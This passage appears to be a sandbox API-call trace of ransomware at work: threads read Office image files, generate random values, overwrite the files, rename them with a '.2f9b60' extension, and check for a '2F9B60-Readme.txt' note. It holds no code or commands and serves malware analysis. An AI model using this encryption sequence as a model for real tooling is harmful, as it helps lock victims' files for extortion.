[0141.885] ReadFile (in: hFile=0x1f74, lpBuffer=0x421ce530, nNumberOfBytesToRead=0xc1b, lpNumberOfBytesRead=0x2b6ffbb0, lpOverlapped=0x0 | out: lpBuffer=0x421ce530*, lpNumberOfBytesRead=0x2b6ffbb0*=0xc1b, lpOverlapped=0x0) returned 1 [0141.885] SetFilePointerEx (in: hFile=0x1f74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.885] WriteFile (hFile=0x1f74, lpBuffer=0x421d5d50, nNumberOfBytesToWrite=0xc1b, lpNumberOfBytesWritten=0x2b6ffbb4, lpOverlapped=0x0) [0180.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda580 [0180.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda490 [0180.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda490) returned 1 [0180.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d5d50) returned 1 [0180.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ce530) returned 1 [0180.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0180.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420592e0) returned 1 [0180.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1ce5c930 [0185.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62d70 [0185.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb7e0 [0185.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8db0 [0185.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8db0) returned 1 [0185.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d8440 [0185.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8db0 [0185.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8de0 [0185.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8de0) returned 1 [0185.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb7e0) returned 1 [0185.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62d70) returned 1 [0185.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x423aaf50 [0185.881] SetFilePointerEx (in: hFile=0x1f74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0185.881] WriteFile (in: hFile=0x1f74, lpBuffer=0x423aaf50*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2b6ffcd0, lpOverlapped=0x0 | out: lpBuffer=0x423aaf50*, lpNumberOfBytesWritten=0x2b6ffcd0*=0x112, lpOverlapped=0x0) returned 1 [0201.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aaf50) returned 1 [0201.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8440) returned 1 [0201.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8db0) returned 1 [0201.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c930) returned 1 [0201.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda580) returned 1 [0201.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc60) returned 1 [0201.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe350) returned 1 [0201.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe380) returned 1 [0201.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x431a7b10 [0201.713] wcscpy (in: _Dest=0x431a7b10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" [0201.713] wcscat (in: _Dest=0x431a7b10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg.2f9b60" [0201.713] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg.2f9b60", NtPathName=0x2b6ffcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310b1b0 [0223.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310b1b0) returned 1 [0223.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320cc50) returned 1 [0223.941] NtQueryInformationFile (in: FileHandle=0x1f74, IoStatusBlock=0x2b6ffd58, FileInformation=0x2b6ffd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b6ffd58, FileInformation=0x2b6ffd68) returned 0x0 [0223.941] NtSetInformationFile (FileHandle=0x1f74, IoStatusBlock=0x2b6ffd58, FileInformation=0x2b6ffd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7b10) returned 1 [0225.043] FlushFileBuffers (hFile=0x1f74) returned 1 [0225.051] CloseHandle (hObject=0x1f74) returned 1 [0225.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65fa0 [0225.468] wcscpy (in: _Dest=0x1cd65fa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0225.468] wcscat (in: _Dest=0x1cd65fa0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0225.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0225.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65fa0) returned 1 [0225.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d690) returned 1 Thread: id = 1860 os_tid = 0xcb4 [0133.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp")) returned 0x20 [0135.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp", dwFileAttributes=0x20) returned 1 [0138.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f64 [0141.761] GetFileSizeEx (in: hFile=0x1f64, lpFileSize=0x2b23fde0 | out: lpFileSize=0x2b23fde0*=2104) returned 1 [0141.761] SetFilePointerEx (in: hFile=0x1f64, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.761] ReadFile (in: hFile=0x1f64, lpBuffer=0x2b23fd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b23fda8, lpOverlapped=0x0 | out: lpBuffer=0x2b23fd60*, lpNumberOfBytesRead=0x2b23fda8*=0x4, lpOverlapped=0x0) returned 1 [0141.812] SetFilePointerEx (in: hFile=0x1f64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc60 [0141.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.812] NtQuerySystemTime (in: CurrentTime=0x2b23fca0 | out: CurrentTime=0x2b23fca0*=132462177470530000) returned 0x0 [0141.812] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x239db46b [0141.812] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0xb12416d [0141.812] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x34aeafdb [0141.812] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x34075786 [0141.812] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x3900c915 [0141.812] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x48dc34f1 [0141.812] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x1cb0034a [0141.812] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x7f5521bf [0141.812] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x455d3201 [0141.812] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x4832d677 [0141.812] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x496bf10a [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x7634c520 [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x3833d054 [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x6b168f50 [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x523602a2 [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x44fe961e [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x4dc9e3ad [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x1ebc6242 [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x2193aeda [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x22aa9e44 [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x2619719e [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x42bd0a5b [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x6c284a3a [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x72c3182f [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x20f34783 [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x64fc06dc [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x62fdf675 [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x7da44ab3 [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x8677823 [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x5584101f [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x3a7bb273 [0141.813] RtlRandomEx (in: Seed=0x2b23fc90 | out: Seed=0x2b23fc90) returned 0x59ca91d6 [0141.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0141.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0141.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0141.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0141.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0141.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0141.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0141.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e4d90 [0141.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421fb5f0 [0141.824] ReadFile (in: hFile=0x1f64, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x2b23fc90, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x2b23fc90*=0x838, lpOverlapped=0x0) returned 1 [0141.824] SetFilePointerEx (in: hFile=0x1f64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.824] WriteFile (in: hFile=0x1f64, lpBuffer=0x421fb5f0*, nNumberOfBytesToWrite=0x838, lpNumberOfBytesWritten=0x2b23fc94, lpOverlapped=0x0 | out: lpBuffer=0x421fb5f0*, lpNumberOfBytesWritten=0x2b23fc94*=0x838, lpOverlapped=0x0) returned 1 [0141.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0141.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421fb5f0) returned 1 [0141.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e4d90) returned 1 [0141.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0141.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9eeb0 [0141.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0141.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f4b0 [0141.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0141.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b7d64c0 [0141.855] SetFilePointerEx (in: hFile=0x1f64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.855] WriteFile (in: hFile=0x1f64, lpBuffer=0x1b7d64c0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2b23fdb0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d64c0*, lpNumberOfBytesWritten=0x2b23fdb0*=0x11a, lpOverlapped=0x0) returned 1 [0141.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d64c0) returned 1 [0141.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f4b0) returned 1 [0141.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9eeb0) returned 1 [0141.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0141.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc60) returned 1 [0141.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0141.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0141.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x202794f0 [0141.858] wcscpy (in: _Dest=0x202794f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp" [0141.858] wcscat (in: _Dest=0x202794f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp.2f9b60" [0141.858] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp.2f9b60", NtPathName=0x2b23fdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1cecfa20 [0141.858] NtSetInformationFile (FileHandle=0x1f64, IoStatusBlock=0x2b23fe70, FileInformation=0x1cecfa20, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0145.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfa20) returned 1 [0145.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205010d0) returned 1 [0145.972] NtQueryInformationFile (in: FileHandle=0x1f64, IoStatusBlock=0x2b23fe38, FileInformation=0x2b23fe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b23fe38, FileInformation=0x2b23fe48) returned 0x0 [0145.973] NtSetInformationFile (FileHandle=0x1f64, IoStatusBlock=0x2b23fe38, FileInformation=0x2b23fe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202794f0) returned 1 [0146.023] FlushFileBuffers (hFile=0x1f64) returned 1 [0146.038] CloseHandle (hObject=0x1f64) returned 1 [0146.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ad600 [0146.072] wcscpy (in: _Dest=0x202ad600, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.072] wcscat (in: _Dest=0x202ad600, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad600) returned 1 [0147.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862f60) returned 1 Thread: id = 1861 os_tid = 0xcb8 [0133.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg")) returned 0x20 [0134.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg", dwFileAttributes=0x20) returned 1 [0137.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b48 [0140.069] GetFileSizeEx (in: hFile=0x1b48, lpFileSize=0x2bb0fe40 | out: lpFileSize=0x2bb0fe40*=25850) returned 1 [0140.069] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x64f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.069] ReadFile (in: hFile=0x1b48, lpBuffer=0x2bb0fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bb0fe08, lpOverlapped=0x0 | out: lpBuffer=0x2bb0fdc0*, lpNumberOfBytesRead=0x2bb0fe08*=0x4, lpOverlapped=0x0) returned 1 [0140.073] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bdc0 [0140.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205be20 [0140.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205beb0 [0140.074] NtQuerySystemTime (in: CurrentTime=0x2bb0fd00 | out: CurrentTime=0x2bb0fd00*=132462177453214000) returned 0x0 [0140.074] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x773d4458 [0140.074] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x4a7bed6e [0140.074] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x756fec04 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x23c55832 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x2ebac9e2 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x4eb57c30 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x4292d2b0 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x3e21676b [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x29902641 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x241837de [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x7006ee2e [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x6e5100e8 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x603a0c5f [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x2d79ab60 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x4253b9fa [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x13a62ea6 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x18f46685 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x2464543b [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x39da17e2 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x6f9d3698 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x7260d179 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x37787388 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x38063e96 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x3beb2108 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x61ecdf3d [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x3beb536c [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x76fb3901 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x621d9c2b [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x1f2e3362 [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x3f80559a [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x10dc8a7a [0140.075] RtlRandomEx (in: Seed=0x2bb0fcf0 | out: Seed=0x2bb0fcf0) returned 0x3b55e0d0 [0140.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bee0 [0140.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0140.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf10 [0140.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0140.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205beb0) returned 1 [0140.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bdc0) returned 1 [0140.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ac5b0 [0140.085] SetFilePointerEx (in: 